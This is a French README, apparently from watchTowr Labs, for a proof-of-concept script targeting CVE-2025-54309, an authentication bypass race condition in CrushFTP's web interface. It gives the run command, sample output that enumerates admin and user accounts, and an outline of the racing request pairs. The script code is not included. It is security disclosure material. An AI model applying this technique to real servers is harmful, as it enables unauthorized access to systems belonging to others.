
Preuve de concept pour CVE-2025-54309, démontrant un contournement d'authentification via une condition de course dans l'interface Web de CrushFTP afin d'énumérer les utilisateurs.
Une preuve de concept de contournement de l'authentification CrushFTP
Consultez notre article de blog pour les détails techniques
python3 watchTowr-vs-CrushFTP-CVE-2025-54309.py http://127.0.0.1:8082
[*] Generated new c2f value: 6XDQ
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-CrushFTP-CVE-2025-54309.py
(*) CrushFTP Authentication Bypass Race Condition PoC
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2025-54309]
[*] CRUSHFTP RACE CONDITION POC
[*] TARGET: http://127.0.0.1:8082
[*] ENDPOINT: CrushFTP WebInterface getUserList
[*] ATTACK: 5000 requests with new c2f every 50 requests
============================================================
Starting race with 5000 request pairs...
============================================================
[*] Generated new c2f value: qUwd
[*] NEW SESSION: c2f=qUwd
[*] EXFILTRATED 3 USERS: crushadmin, default, TempAccount
[*] VULNERABLE! RACE CONDITION POSSIBLE!
Ce script est une preuve de concept de la CVE-2025-54309 contre les interfaces CrushFTP. En créant un ensemble de requêtes concurrentes partageant les mêmes identifiants de session, une requête pour définir la propriété du nom d'utilisateur sur « crushadmin » et une requête pour exécuter une commande authentifiée en tant que cet utilisateur, il est possible dans ce PoC d'extraire la liste des noms d'utilisateurs. Plus de détails sont décrits dans notre [article de blog] (https://labs.watchtowr.com/).
Plus de détails sur l'avis CrushFTP
Pour les dernières recherches en sécurité, suivez l'équipe des watchTowr Labs